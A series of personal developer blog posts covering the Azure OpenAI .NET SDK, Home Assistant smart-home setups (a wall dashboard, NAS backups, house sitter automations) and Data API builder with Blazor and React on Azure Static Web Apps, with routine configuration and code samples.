But if you look at them, you’ll notice that the Open API spec (swagger) is the same for both, so you can use the OpenAI docs to get a better understanding of the API, the parameters and how to call it. The only real difference is the endpoint, OpenAI or your AOAI instance, and the authentication method.

Installing the SDK

While it’s useful to understand the underpinnings of all this, you’re probably not going to want to use the REST API directly, instead we’ll use the .NET SDK for that, which you’ll find on NuGet as Azure.AI.OpenAI. Yes, there are others out there on NuGet but this is the official one from Microsoft, so I’m going to use that.

Creating a Client

The first thing we need to do is create a client, and we do that by creating an instance of the OpenAIClient class, which is in the Azure.AI.OpenAI namespace. Depending on whether you’re using it with AOAI or OpenAI, the constructor you choose is going to be different.

// Creating a client for AOAI
OpenAIClient client = new OpenAIClient(new Uri("https://<your service>.openai.azure.com"), new Azure.AzureKeyCredential("<your AOAI API key>"));

// Creating a client for OpenAI
client = new OpenAIClient("<your OpenAI API key>");

From then on it doesn’t matter if you’re using AOAI or OpenAI, the rest of the code is the same, since it’s the same type, OpenAIClient, that is used to interact with the service.

Generating Chat Completions

Now that we have a client, let’s have a look at how to get it to do something, and that something will be to generate a chat completion. Don’t worry if you’re not familiar with what a chat completion is, we’ll dive into that properly in the next post, but for now consider it as the most common way you would work with the service.

To generate a chat completion we need to call the GetChatCompletionsAsync method, passing in the model we want to use, and the prompt to complete:

ChatCompletionsOptions options = new(new[] { new ChatMessage(ChatRole.User, "What is the colour of the sky?") });

string model = "<deployment name or GPT model>";

Response<ChatCompletions> completion = await client.GetChatCompletionsAsync(model, options);

foreach (ChatChoice choice in completions.Value.Choices)
{
    string content = choice.Message.Content;

    Console.WriteLine(content);
}

This gave me the response of:

The color of the sky can vary depending on factors such as time of day, weather conditions, and location. Generally, during the day when the sun is out, the color of the sky is blue. At sunset or sunrise, the sky can turn shades of red, orange, and pink. At night, the sky can appear black or dark blue with stars visible.

You might be wondering though, what do you provide for the model parameter? Well, this will depend on which service you are using, if it’s AOAI you will first deploy a model and then use the name of that deployment, if it’s OpenAI you will use the name of the model, such as gpt-3.5-turbo.

Conclusion

Congratulations, we have created our very first call to OpenAI and generated a chat completion response from a prompt (that was admittedly hard-coded). If you want to have a play around with this, I’ve created a Polyglot Notebook that you can check out in my website repo.

In the next post we’ll take a proper look at what chat completions are, and how we can use them.

Generative AI and .NET - Part 1 Intro

website-contact@aaron-powell.com (Aaron Powell) — Fri, 01 Sep 2023 06:24:30 +0000

I’ve missed a lot of the recent hype trains, I skipped over blockchain, I avoided web3, and I’m not dumb enough to have believed NFT’s were anything but a scam, but I’m not going to miss out on the AI hype train! Toot toot!

Over the past few weeks I’ve been digging into how we can build stuff with .NET and AI, specifically Generative AI which we see with platforms such as OpenAI, and more specifically Azure OpenAI Service.

While there is heaps of content out there on using these services I’ve noticed that it tends to be heavy in Python, and while I’m not against Python, it’s not a language I’m overly familiar with, so I wanted look at how we can use these services with .NET. Also, a lot of the content is really skewed towards people who are already well versed in the terminology, the concepts, and the tools, so I wanted to try and make this a bit more accessible to people who are new to the space.

So, over this series I’m going to share my learnings on the APIs, SDKs, and the like. The goal here isn’t to “build something” but rather to share what I’ve learnt, the mistakes I’ve made, the things I’ve found confusing, and the code I’ve had to rewrite umpteen times because “oh, that’s a better way to do it”.

But before we get started, I want to make something clear - I am 100% a consumer in this AI story, I’m not an AI expert, an AI researcher, or have any real understanding on how AI models work, and I think that’s an important way to approach this; I’m approaching it as someone who knows how to code and is just trying to do it against a new set of libraries.

Now, without further ado, let’s talk theory.

What is Generative AI?

Throughout this series I’ll be looking at a specific part of the AI landscape and that’s Generative AI. After all, AI isn’t anything new, it’s been around for decades, but what is new is the way it can generate new content, and this is what makes things like OpenAI stand out from previous AI systems.

I’m going to keep referring back to OpenAI, as that’s the platform I’m using (well, I use it with Azure OpenAI Service), but there are other platforms out there that will have their own APIs and SDKs. I don’t have experience with them so I can’t comment on them, but I’m sure the concepts will be similar.

So, what is Generative AI? Well, it’s a system that can generate new content based on existing content. For example, you can give it a sentence and it will generate a new sentence based on what we started with, aka, the prompt.

For example, if we give it the prompt “The quick brown fox jumps over” it might return us “the lazy dog”, as that’s the most likely continuation, or completion to use the correct terminology, of that sentence. But it might also return us “the moon”, or “the fence”, or “the lazy dog jumps over the moon”, or “the lazy dog jumps over the fence”, or “the lazy dog jumps over the moon and the fence”, or so on.

Fun fact: I used a completion for that last sentence, so that’s an example of the AI in action!

Obviously this is a huge oversimplification of what this is, but it’s enough to ground our understanding, and we’ll build on that throughout the series.

OpenAI and Azure OpenAI Service

Before I wrap up this post I want to mention a bit about OpenAI and Azure OpenAI Service. It might seem a bit confusing that I refer to the two of them interchangeably, but that’s because they have an overlap, AOAI (isn’t that a fun acronym!) builds on top of OpenAI, providing the same Large Language Models, or LLMs that OpenAI provides, but with the added benefit of being able to run it in Azure, and in doing so bring in enterprise-centric features that you’d expect from security to integration with other data sources to content filtering.

But when it comes to working with them from a SDK level, they operate very similar. In fact, the .NET SDK that we’ll be using has the ability to change between pointing to AOAI or OpenAI when establishing the connection, so you can easily switch between the two.

But more on that next time.

Next Time

That will do us for this post, mostly this post was about introducing the new series and setting the scene for what we’ll be looking at.

In the next post we’ll look at the basics of how we can use the SDK to connect to the service, and how we can use it to generate completions.

Building a Smart Home - Part 13 Wall Mounted Dashboards

website-contact@aaron-powell.com (Aaron Powell) — Fri, 18 Aug 2023 23:05:18 +0000

I finally took the plunge and did the thing I’d been wanting to do for a while now. I built a wall mounted, well fridge mounted, dashboard for my smart home. I’ve been wanting to do this for a while now, but I’ve been putting it off because I didn’t want to spend the money on a tablet.

After all, I looked at this problem just the same as I look at any other addition to the smart home, experiment first, then buy. So, what did I have around that I could use? Well, I have a few old Surface Pro devices laying around and I figured that a Surface Pro 4 would be a good candidate for this experiment. I mean, it’s a tablet, it’s got a screen, a battery, what more do I need!

There’s plenty of videos out there on how to do a dashboard, but every one that I’ve seen is using an Android tablet of some variety and here I am with a Windows device, so I figured I’d document my journey.

The Software

There are three different approaches I explored for running Home Assistant as a dashboard, the simplest option is to just run Edge full screen and calling it a day. The next option is to install the website as a PWA, but that’s a bit annoying because I don’t have an SSL certificate for my local Home Assistant instance, so it shows a “not secure” banner across the top of the screen (and since it’s running locally I want to use the local address rather than my Nabu Casa endpoint). The final option is to install the Home Assistant app from the Android store using Windows Subsystem for Android, aka WSA.

WSA is an interesting idea, I think it might be the best option, but for the moment I’m just running the browser in full screen mode and it’s going well enough - although I have had a few instances where the browser hasn’t refreshed, so I’ve had to manually refresh the page.

HASS.Agent

The other core piece of software I’m using is HASS.Agent, which is a “service” that you run to provide a local API for interacting with Home Assistant, and to feed sensor data back from the device. It can also be used to run commands on the device, exposing these commands as buttons or similar HA entities.

We’ll come back to HASS.Agent later in the post 😉.

Configuring a user account

Here’s an interesting conundrum, unlike using something like an iPad or Android tablet, Windows is really designed to be a multi-user operating system. So, how do we configure a user account for our dashboard? Well, I’m glad you asked!

My first though was to use Windows Kiosk Mode. This really seems like the perfect solution, it’s designed for exactly this use case, but there was a problem, it can only run a fairly restricted style of app, and while it would run Edge, it seemed that it would lose the authenticated session to HA - which is not really ideal as you don’t want to be putting in credentials all the time.

The other problem that I hit with Kiosk Mode is that I couldn’t get it to run HASS.Agent, which I kind of need.

Since it’s a Windows 11 device, it really wants me to use a Microsoft account, but that’s not ideal - I don’t really want to setup another Microsoft account, nor do I want my account to be logged in for anyone to use! So, I created a local account with minimal permissions and I disabled the need for it to have a password or PIN on login, as it’s not like you want to be putting in a PIN constantly.

So I configured HASS.Agent to start on boot, logged into Home Assistant in Edge and it’s ready to go.

Dashboard on, dashboard off

I know that screen burn-in isn’t really a thing like it was in the past, but that doesn’t meant that I want the screen on 24/7, at the very least, that’s not really a great use of energy. So how are we going to manage this?

The built-in way

Conveniently, HASS.Agent has commands as a feature, which allows you to create a button/switch/etc. in HA that will do something on your device. There’s a bunch of built in ones, such as to turn the screen on and off. Success!

Well, it would be but it wasn’t. While I’m not really sure what the underlying Windows issue is, what I have observed is that the way HASS.Agent performs the wake-up is by issuing a SendKey command (specifically using this API) that presses KEY_UP according to the source code. The problem is that when you sleep the screen with the built-in Monitor Sleep command the Surface Pro doesn’t respond to SendKey commands.

I tried a bunch of different ways to diagnose this, including observing what the Windows Event Viewer reports at a system level on the sleep operation, but there was nothing that indicated what was wrong.

But there is another way in which a Windows device can sleep the screen, and that’s when you have a screen idle timeout after the duration set in the Power Management.

What I observed with this is that when the screen turns off due to an idle timeout you can issue a SendKey command and wake the screen up. I did some more testing against Event Viewer to see if I could see what was different between idle timeout and sending the WM_SYSCOMMAND and I could not find anything different other than the message indicating that the screen was turned off because of idle timeout vs WM_SYSCOMMAND… so 🤷.

This means we’re going to need to find a different solution to managing the screen turning off.

The hacky way

With all this knowledge we can look at a hacky solution, hack the power config settings! These settings allow you to control when the device will turn off the screen (and turn itself off) when on battery or AC power.

While you’d normally do this via the Settings UI, you can also use the powercfg command line too, which means we can make a custom command in HASS.Agent to execute that. I created two commands, one that will disable the idle timeout completely and one that sets a short idle timeout:

Disable timeout: powercfg /change monitor-sleep-ac 0
Enable timeout: powercfg /change monitor-sleep-ac 1

With these commands we’re changing monitor-sleep-ac, the idle timeout of the monitor when plugged in (which it always will be). When it’s set to 0 then it won’t timeout, otherwise it’ll timeout after 1 minute.

Adding an automation

Now that we’ve figured out how we can turn the screen on and off, it’s time to make an automation that uses these. I have an occupancy sensor in the kitchen where the dashboard is to be mounted, so I’m going to have it turn the screen on if occupancy is detected with the MonitorWake command in HASS.Agent and then disable the idle timeout, and when occupancy has been cleared for 5 minutes, enable the 1 minute timeout.

Here’s the YAML for the two automations:

alias: "Kitchen Dashboard: Enable sleep"
description: ""
trigger:
  - platform: state
    entity_id:
      - binary_sensor.occupancy_living_room
    from: "on"
    to: "off"
    for:
      hours: 0
      minutes: 5
      seconds: 0
condition:
  - condition: state
    entity_id: input_boolean.kitchen_dashboard_sleep_enabled
    state: "on"
action:
  - service: button.press
    data: {}
    target:
      entity_id: button.kitchendashboard_enablesleep
  - service: input_boolean.turn_off
    data: {}
    target:
      entity_id: input_boolean.kitchen_dashboard_sleep_enabled
mode: single

alias: "Kitchen Dashboard: Wake up"
description: ""
trigger:
  - platform: state
    entity_id:
      - binary_sensor.occupancy_living_room
    from: "off"
    to: "on"
condition:
  - condition: state
    entity_id: input_boolean.kitchen_dashboard_sleep_enabled
    state: "off"
action:
  - service: button.press
    data: {}
    target:
      entity_id: button.kitchendashboard_disablesleep
  - service: input_boolean.turn_on
    data: {}
    target:
      entity_id: input_boolean.kitchen_dashboard_sleep_enabled
  - service: button.press
    data: {}
    target:
      entity_id: button.kitchendashboard_monitorwake_localuser
mode: single

I’ve also put in there an input_boolean helper to track if the sleep is enabled/disabled on the device, as this means that we can avoid running the wake up automation if the screen didn’t turn off - basically when occupancy was cleared but hadn’t been cleared for long enough to trigger the “enable sleep” automation.

Now as you enter the area the screen will turn on and sleep is disabled, then when you leave the area for 5 minutes the screen will enter the idle mode.

Mounting

Because of the layout of our kitchen I don’t really have any wall space to mount the tablet in a convenient location (the space I would use has two pin boards for the kids artwork, school notices, etc.), so instead I mounted it on the fridge:

On the back of the device I have two 3M velcro picture hanging strips, each rated to like 3kg which is probably an overkill but better safe than sorry! The reason I went with these strip type is so that I can easily remove the device if I need to attach a keyboard and do anything with it. I was considering getting some heavy-duty magnets instead and fixing them to the back, but this was a nice, cheap initial solution.

The power cable snakes from the side of the fridge, and since it’s on the right door of our fridge the cable only just pops out, which works well enough.

I did mount it is just the right location that when the door of the fridge is opened it won’t hit the wall of the fridge nook… just. But you know what they say, measure once, cut twice (or something like that…).

Conclusion

All in all, I’m pretty happy with how this has turned out and my wife doesn’t hate it, so, win, and it was a good way to utilise some existing hardware that I had rather than going out and purchasing a new tablet just for this.

The Surface Pro 4 just about the right size for our fridge, it takes up the space well without looking either too big or too small, but I can imagine that if it was on a wall it might look more out of place so if I do ever get to the point of being able to wall mount something, I’d possibly look at a different device.

HASS.Agent is a nifty little addition and I like how well it works for what I need in controlling the device. I have some other sensors that I’ve exposed about the state of the Surface Pro, such as whether it’s charging or not, and I’m contemplating using a smart plug to control the battery charge/discharge rather than having it constantly charging, but I know that the battery of this one is not great at the moment, so I feel like it’d probably find itself going flat pretty quickly and the plug would flip-flop a lot.

One thing I do wish is that this was running on ethernet rather than wifi, as then I could use Wake on LAN, allowing the device the actually sleep (and thus better handle power management) but I don’t have a convenient ethernet port, plus it would look rather ugly. I explored using WoL with wifi but it doesn’t seem to work.

In my next post I’ll talk about the dashboard itself and what I’m doing to make something that’s better designed for the location, rather than the one I use on my phone.

Building a Smart Home - Part 12 NAS and Backups

website-contact@aaron-powell.com (Aaron Powell) — Thu, 22 Jun 2023 02:01:19 +0000

It’s just over 12 months since we moved into our house and I started properly running Home Assistant and designing our smart home. In that time I’ve been lucky that nothing has really “gone wrong”, sure there have been the odd bug here and there (see my last post on debugging tips), but the system hasn’t “died”. But before we moved into this house I was experimenting with Home Assistant and wasn’t so lucky - the SD card running it died and I lost everything. I don’t want that to happen again, so I’m going to do something I’ve been putting off for a while - setup a NAS and backups.

NAS

A NAS, or Network Attached Storage, is a remote storage device that you can access over your network. It’s basically a hard drive that you can access from any device on your network. I’m going to use it to store backups of my Home Assistant instance, but also to store other files like photos and videos.

Many people I know have a Synology NAS, and while I’m sure they are great I don’t really need much from my NAS, either in features or storage, after all, anything that is important that I’m storing is in OneDrive already, so I don’t see why I need something local with large amounts of storage. Also, neither my wife or I are really into photography, so we don’t have huge images to store, and we don’t have a huge movie collection either, that’s what streaming services are for.

So I decided to repurpose an old 1TB external HDD that has been sitting in a cupboard for a few years and turn it into a poor excuse for a NAS… but given it’s just a USB drive I’ll need something to connect it to that is always powered on, and for that I’ll use the Raspberry Pi that is running Pi Hole.

Why am I not using the one running Home Assistant? Well firstly, that wouldn’t be a NAS would it, but more importantly, I’m running HAOS and I don’t want to mess around at the OS level and risk blocking upgrades. Besides, the PiHole doesn’t do a whole lot, so it can pick up the slack.

Setting up the NAS

I’m going to use Samba to share the drive over the network, since it’s the easiest way to expose it for integration into Home Assistant (and to the Windows and Mac devices on our network).

First step was the mount the USB drive in the Pi, and to do that I needed to know where the disk was to mount, which you can find with lsblk:

aaron@raspberrypi:/media $ lsblk
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda      8:0    1  28.7G  0 disk
├─sda1   8:1    1   256M  0 part /boot
└─sda2   8:2    1  28.4G  0 part /
sdb      8:16   0 931.5G  0 disk
└─sdb1   8:17   0 931.5G  0 part

We can see that the drive is /dev/sdb1, so it can be mounted with:

`1`	`sudo mount /dev/sdb1 /media/usb`

Next we’re going to need to ensure Samba is installed on the Pi:

1
2
3

sudo apt update && \
sudo apt upgrade && \
sudo apt install samba samba-common-bin

And then configure it by editing /etc/samba/smb.conf:

[external-1]
comment = 1TB External Disk
path = /media/usb
browsable = yes
guest ok = no
read only = no
create mask = 0755
directory mask = 0755
write list = aaron

I’ve locked down the share to require authentication, and only allow my user to write to it, so then we need to create a user for Samba:

`1`	`sudo smbpasswd -a aaron`

And finally restart the Samba service:

`1`	`sudo systemctl restart smbd`

With that, our Samba server is up and running and we have a poor excuse for a NAS!

Handling file system permissions

This was something I didn’t take into consideration, and may not be a problem for you, but since the drive was formatted on a Windows machine it was a FAT32 file system, and this posed a problem when trying to write to it via Samba - it was owned by root on the Pi, since they mounted it, and because FAT32 doesn’t support file system permissions, I couldn’t change the ownership of the files on the drive.

To solve this it was a matter of formatting the drive to ext4:

sudo umount /media/usb \
sudo mkfs.ext4 /dev/sdb1 \
sudo mount /dev/sdb1 /media/usb \
sudo chown -R aaron:aaron /media/usb

Now the drive was mounted with the correct permissions, and I could write to it via Samba.

Integrating with Home Assistant

In the Home Assistant 2023.6 release they added better support for network storage, meaning you can connect to a NAS via Samba or NFS natively, rather than an add-on as previously required.

The other advantage of this is that when you attach the storage to Home Assistant you can select the type of storage that will be used for, with one such option being backups, and that will natively integrate with Home Assistant’s backup system.

Since I might want to use the storage for other stuff in the future, I’ve made a folder on the drive called ha-backups and specified that subpath in the storage connection.

From the Backups section of Home Assistant you can change the default location for backups to be the new network storage:

Offsite backups

Having a NAS is great, but if it’s in the same physical location as your Home Assistant instance, and that location burns down, you’re still going to lose everything. Now while I’m not planning for that to happen, I’ve been in tech long enough to plan for the worst case scenario, so I’m going to setup offsite backups.

If you’re using a Synology or other proper NAS solution, you probably have some integrated way to ship those backups to a remote location, but we’re not that fancy, we’ve created a poor excuse for a NAS, so we’re going to need to do this ourselves.

Thankfully there’s Home Assitant add-ons that can help us, Google Drive Backup or a OneDrive version. I’m going to use the Google Drive version, since I already have a Google account that is dedicated to smart home stuff (and isolated from my personal Google account) and while my primary storage location for stuff is OneDrive, I want to keep things separated.

The add-on is pretty simple to setup and the instructions are pretty clear, so I won’t go into detail here, but once it’s setup you can configure it to run on a schedule, and it will automatically upload your backups to Google Drive. For me, I’m going to run it every night at 11.30pm and keep 20 days worth of backups, as my full backup size is about 550mb and there’s 15GB of storage available on the Google account, so a rolling 20 days gives me plenty of runway to restore from a backup if I need to.

Note: It lists 9 backups that are ignored, those backups are stored locally on the Pi that Home Assistant runs on, they aren’t uploaded to Google Drive.

Conclusion

This is something that I’ve been putting off for a while now. I’d played with the previous add-ons for working with Samba but always struggled with them, so I’m glad that Home Assistant has added native support for network storage, and that it’s so easy to configure, and that combining it with the Google Drive Backup add-on was easy and now I have a proper backup strategy in place… although I should probably test it at some point to make sure it actually restores… 😅

All in all, I probably spent about 30 minutes getting this all setup, but it took me a few days because I kept forgetting that it’s umount not unmount to unmount a disk in Linux, and then fighting with file system permissions, before realising I should just use ext4.

Shout out to Everything Smart Home for a great guide on getting everything setup and to Lars for another look at how to do it leveraging NodeRED.

Building a Smart Home - Part 11 House Sitter Mode

website-contact@aaron-powell.com (Aaron Powell) — Thu, 27 Apr 2023 00:11:23 +0000

When designing a smart home I’ve reiterated many times that the goal was to make it work regardless of who was there and that existing expectations of how things like switches work are maintained.

But naturally as you start to evolve the smart home more you will end up doing customisations around your household routines. In our house we have a few, one example is the night time routine for the kids bedrooms - at a scheduled time their light will come on, then when they flip the switch to turn it off it will also turn on their night light (there’s a few nuances to it though).

This kind of thing works for us and our kids, but it might not work for others, and it was something we had to tackle recently when we went on holidays and had a house sitter.

Entre House Sitter Mode

The astute reader might have noticed when I talked about smart door locks that I have a generic automation that will enable/disable a PIN for any user one of those users was called house_sitter. This is combined with a script that I have to generate a new four-digit PIN for that user.

generate_front_door_pin:
  alias: Generate a random PIN
  description: Generate a random PIN for a specific User
  fields:
    user:
      description: The entity_id which the User's PIN is stored in
      example: input_text.lock_house_sitter_pin
  sequence:
    - alias: Randomise PIN
      service: input_text.set_value
      target:
        entity_id: "{{ pin_entity_id }}"
      data:
        value:
          "{% for n in range(4) -%}\n  {{ [0,1,2,3,4,5,6,7,8,9]|random }}\n{%-
          endfor %}\n"

I have this called from another script:

setup_front_door_house_sitter_pin:
  alias: Setup front door house sitter PIN
  description: Create a new house_sitter PIN and enable it
  sequence:
    - alias: Randomise PIN
      service: script.generate_front_door_pin
      data:
        pin_entity_id: input_text.lock_house_sitter_pin

To use these I have added a input_boolean to indicate if we want to enable or disable the house sitter mode:

input_boolean:
  house_sitter_mode:
    name: House Sitter Mode
    icon: mdi:home-account

And then we have an automation that listens for the changes to its state:

- id: "security_toggle_house_sitter_lock_access"
  alias: "Security: Toggle House Sitter lock access"
  description: ""
  trigger:
    - platform: state
      entity_id:
        - input_boolean.house_sitter_mode
  condition: []
  action:
    - if:
        - condition: state
          entity_id: input_boolean.house_sitter_mode
          state: "on"
      then:
        - service: script.setup_front_door_house_sitter_pin
          data: {}
      else:
        - service: script.clear_front_door_house_sitter_pin
          data: {}
  mode: single

Great, now we have a way to know within Home Assistant if we are in house sitter mode or not, and with that we can adjust our automations.

Tweaking the automations

There are two approaches that I’ve tackled for this problem space and I’ll cover both of them here. The first is that we can add a condition to our automations to check if we are in house sitter mode or not, and either let the automation run or not.

I initially went down this route for automations but I ultimately found that it wasn’t scalable, you would have a lot of automations that you add this condition to, and if you add more conditions to the automation you have to be careful that they don’t conflict with each other.

Instead, I went down the route of creating an automation that would run when the input_boolean is triggered and then it would enable/disable the automations that I wanted to change. The idea is that you disable the automations that are unique for how your household operates, and then enable the automations that are generic and work for anyone.

alias: "System: House sitter automation management"
description: ""
trigger:
  - platform: state
    entity_id:
      - input_boolean.home_mode_house_sitter
    from: "off"
    to: "on"
  - platform: state
    entity_id:
      - input_boolean.home_mode_house_sitter
    from: "on"
    to: "off"
condition: []
action:
  - service: automation.{{ family_action }}
    target:
      entity_id:
        - automation.bedtime_lights_out
        - automation.climate_aaron_s_office
        - automation.climate_aaron_s_office_off
        - automation.lighting_kids_fan_light_switch_toggle
        - automation.lighting_toggle_on_switch_change
        - automation.system_wol_aaron_s_pc
  - service: automation.{{ house_sitter_action }}
    target:
      entity_id:
        - automation.lighting_parents_fan_house_sitter_mode
        - automation.lighting_parents_downlights_house_sitter
        - automation.security_house_sitter_arrived
mode: single
variables:
  family_action: "{{ 'turn_off' if trigger.to_state.state == 'on' else 'turn_on' }}"
  house_sitter_action: "{{ 'turn_on' if trigger.to_state.state == 'on' else 'turn_off' }}"

The automation will look at the state of the input_boolean and generate two variables using a template to work out which service we need to call, turn_on or turn_off, and then it will call the service for the family and house sitter automations.

I find that this approach, enable/disable automations rather than conditions, a much better option for me, as it’s easy to add more automations to the list and it’s clear when looking at the automation list in Home Assistant what is enabled and what isn’t (and that makes debugging easier!).

Conclusion

This is a simple approach to managing the automations that you want to enable/disable when you are in house sitter mode, and it’s one that I’ve found works well for me. I’m sure there are other approaches that you could take, and I’d love to hear about them if you have any.

GraphQL on Azure: Part 14 - Using Data API builder with SWA and Blazor

website-contact@aaron-powell.com (Aaron Powell) — Wed, 15 Mar 2023 16:02:47 +0000

This is the last in the three part sub-series looking at the newly launched Data API builder for Azure Databases (DAB) and while last time we looked at creating a React application, this time I wanted to look at how to do the same thing but in .NET using Blazor. So let’s jump in and learn about how to use SWA Data Connections with Blazor.

Oh, and for something different, let’s try also use a SQL backend rather than Cosmos DB.

Setting up DAB

When we’ve looked at DAB so far, we’ve had to create two files, a config for DAB and a GraphQL schema containing the types. Well since we’re using SQL this time we can drop the GraphQL schema file, as DAB will use the SQL schema to generate the types, something it couldn’t do from Cosmos DB, as it doesn’t have a schema.

We’ll use the same data structure, which we have a JSON file like so:

[
  {
    "id": "0",
    "category": "Science: Computers",
    "type": "multiple",
    "difficulty": "easy",
    "question": "What does CPU stand for?",
    "correct_answer": "Central Processing Unit",
    "incorrect_answers": [
      "Central Process Unit",
      "Computer Personal Unit",
      "Central Processor Unit"
    ],
    "modelType": "Question"
  }
]

Let’s create a SQL table for that:

USE trivia;
CREATE TABLE question(
    id int IDENTITY(5001, 1) PRIMARY KEY,
    question varchar(max) NOT NULL,
    correct_answer varchar(max) NOT NULL,
    incorrect_answers varchar(max) NOT NULL CHECK ( isjson(incorrect_answers) = 1 )
);

For the incorrect_answers column, we’re specifying that it’s a JSON column, since it’d make the most sense to store it that way rather than creating another table to relate to or similar.

Note: At the time of writing there is a bug in DAB and how it handles JSON columns - we’re going to have to deserialize it ourself: https://github.com/Azure/data-api-builder/issues/444

The only other things we need to change for our config file is the data-sources, so it knows we’re using mssql as the backend over Cosmos DB ()

"data-source": {
    "connection-string": "<put something here>",
    "database-type": "mssql"
  }

Note: The sample repo contains a VSCode devcontainer which will setup a MSSQL environment. You can connect with the local connection string: Server=sql,1433;Database=trivia;User Id=sa;Password=YourStrongPassword!;Persist Security Info=False;MultipleActiveResultSets=False;Connection Timeout=5;TrustServerCertificate=true;

We also need to update the source property of the Question entity to have the schema.table format that SQL uses:

`1`	`"source": "dbo.question",`

With our backend ready it’s time to focus on the frontend.

Blazor and GraphQL

When it comes to creating a GraphQL client in .NET there’s really no other choice of library to use than Strawberry Shake from Chilli Cream.

Let’s start by creating a new Blazor WebAssembly project:

`1`	`dotnet new blazorwasm --name BlazorGraphQLTrivia --output frontend`

We’ll also need to add the Strawberry Shake NuGet package:

1
2
3

dotnet new tool-manifest
dotnet tool install StrawberryShake.Tools
dotnet add frontend package StrawberryShake.Blazor

The next step is going to be to generate the .NET types and associated files from our GraphQL service, but since that service is part of the local environment, we’ll need to set it up. To do that we’ll run the swa init command and generate a SWA CLI config like so:

{
  "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  "configurations": {
    "frontend": {
      "appLocation": "frontend",
      "outputLocation": "build",
      "appBuildCommand": "dotnet build",
      "run": "dotnet watch",
      "appDevserverUrl": "http://localhost:5116",
      "dataApiLocation": "data"
    }
  }
}

Then we can run the server with swa start. Now our GraphQL endpoint (and Blazor application) are up and running. You can check out the schema with Banana Cake Pop by having it navigate to http://localhost:4280/data-api/graphql. Something worth noticing is the type for Question that was generated:

type Question {
  id: Int!
  question: String!
  correct_answer: String!
  incorrect_answers: String!
}

The id field is an Int!, since that matches the underlying data type in the SQL schema, and incorrect_answers is a String! since it doesn’t know the structure of the JSON column to map a GraphQL object type.

With the server now running, we can get Strawberry Shake to generate the .NET stuff it needs:

`1`	`dotnet graphql init http://localhost:4280/data-api/graphql -n TriviaClient -p ./frontend`

This command will add three new files to your project, a .graphqlrc.json file that contains the information for Strawberry Shake on how to connect to your GraphQL endpoint and generate types, the GraphQL schema as schema.graphql and a schema.extensions.graphql file which Strawberry Shake uses to do things such as working with custom scalars.

Now that we have the GraphQL client generated, we can add a GraphQL operation to our application. We’ll start by adding a new page to our application, file called GetQuestions.graphql:

query getQuestions {
  questions(first: 10) {
    items {
      id
      question
      correct_answer
      incorrect_answers
    }
  }
}

With a dotnet build run and passing, we can go and add the TriviaClient to the Pages/Index.razor file and query our GraphQL server. Let’s start with an @code block:

@code {
    record QuestionModel(int Id, string Question, IEnumerable<string> Answers, string CorrectAnswer);

    private IEnumerable<QuestionModel> questions = new List<QuestionModel>();
    private Dictionary<int, string> playerAnswers = new();
    private string message = string.Empty;

    protected override async Task OnInitializedAsync()
    {
        var result = await TriviaClient.GetQuestions.ExecuteAsync();

        if (result is null || result.Data is null) {
            return;
        }

        questions = result.Data.Questions.Items.Select(q => {
            var incorrectAnswers = JsonSerializer.Deserialize<List<string>>(q.Incorrect_answers);
            return new QuestionModel(q.Id, q.Question, Randomise(incorrectAnswers.Append(q.Correct_answer)), q.Correct_answer);
        }).ToList();
    }

    public static IEnumerable<string> Randomise(IEnumerable<string> list)
    {
        var random = new Random();
        return list.OrderBy(x => random.Next()).ToList();
    }

    public void CheckAnswers() {
        var correctCount = 0;
        foreach ((int questionId, string answer) in playerAnswers) {
            var question = questions.First(q => q.Id == questionId);
            if (question.CorrectAnswer == answer) {
                correctCount++;
            }
        }

        message = $"You got {correctCount} of {questions.Count()} correct!";
    }
}

That’s a lot of code, so let’s break it down. First we define a record type that we’ll “properly” deserialize the type into (basically unpack the JSON array for incorrect_answers) and declare some private fields to store data we need for the page. The read bulk of our integration starts in the OnInitializedAsync method:

protected override async Task OnInitializedAsync()
{
    var result = await TriviaClient.GetQuestions.ExecuteAsync();

    if (result is null || result.Data is null) {
        return;
    }

    questions = result.Data.Questions.Items.Select(q => {
        var incorrectAnswers = JsonSerializer.Deserialize<List<string>>(q.Incorrect_answers);
        return new QuestionModel(q.Id, q.Question, Randomise(incorrectAnswers.Append(q.Correct_answer)), q.Correct_answer);
    }).ToList();
}

Here we use the TriviaClient (which we can inject to the component with @inject TriviaClient TriviaClient at the top of the file) to call the GetQuestions method, which uses the operation we defined above to query the GraphQL server.

Once we get a result back it’s unpacked and turned into the QuestionModel that can be bound to the UI.

And I’ll leave the rest of the exercise up to you to fill out displaying the questions and answers, but here’s how it looks in the sample application.

Conclusion

In this post we’ve looked at how to use Database Connections with SWA and Blazor to create a trivia game. We’ve seen how to use Database Connections to create a GraphQL client from our SQL server and how to use it in a Blazor application via the Strawberry Shake NuGet package.

You’ll find the sample application on my GitHub and you can learn more about how to use Database Connections on SWA through our docs.

GraphQL on Azure: Part 13 - Using Data API builder with SWA and React

website-contact@aaron-powell.com (Aaron Powell) — Wed, 15 Mar 2023 16:01:47 +0000

In the last post I introduced you to a new project we’ve been working on, Data API builder for Azure Databases (DAB) and in this post I want to look at how we can use it in Azure, and that will be through one of my favourite Azure services, Azure Static Web Apps, for you see, as part of the announcement today of DAB, we’ve announced that it is available as a feature of SWA (called Database Connections), so let’s build a React app!

Local Development

One of the neat things about working with SWA is that we have a CLI tool which emulates the functionality of SWA, and with today’s announcement, we can use it to emulate the Database Connections feature, so let’s get started. First off, we need to ensure we have the latest version of the CLI installed, so let’s run the following command:

`1`	`npm install -g @azure/static-web-apps-cli@latest`

For the Database Connections, we’ll use the same configuration that we had in the last post, so let’s copy the dab-config.json and schema.graphql into the data folder of our repo, and rename the dab-config.json to staticwebapp.database.config.json. Next, I’m going to scaffold out a new React app (using Vite), so let’s run the following command:

`1`	`npx create-vite frontend --template react-ts`

Lastly, we’ll initialise the SWA CLI:

`1`	`swa init`

Follow the prompts and adjust any of the values you require (the default Vite template uses npm run dev for the dev server but the SWA CLI init will want to use npm start, so you’ll need to adjust one of those values). When completed, you should have a swa-cli.config.json like this:

{
  "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  "configurations": {
    "dab": {
      "appLocation": "frontend",
      "outputLocation": "build",
      "appBuildCommand": "npm run build",
      "run": "npm run dev",
      "appDevserverUrl": "http://localhost:5173",
      "dataApiLocation": "data"
    }
  }
}

Notice the last line, "dataApiLocation": "data", this is the location of the folder that contains the schema.graphql and staticwebapp.database.config.json files which are going to be used by the Database Connections feature. Now, let’s start the SWA CLI:

`1`	`swa start`

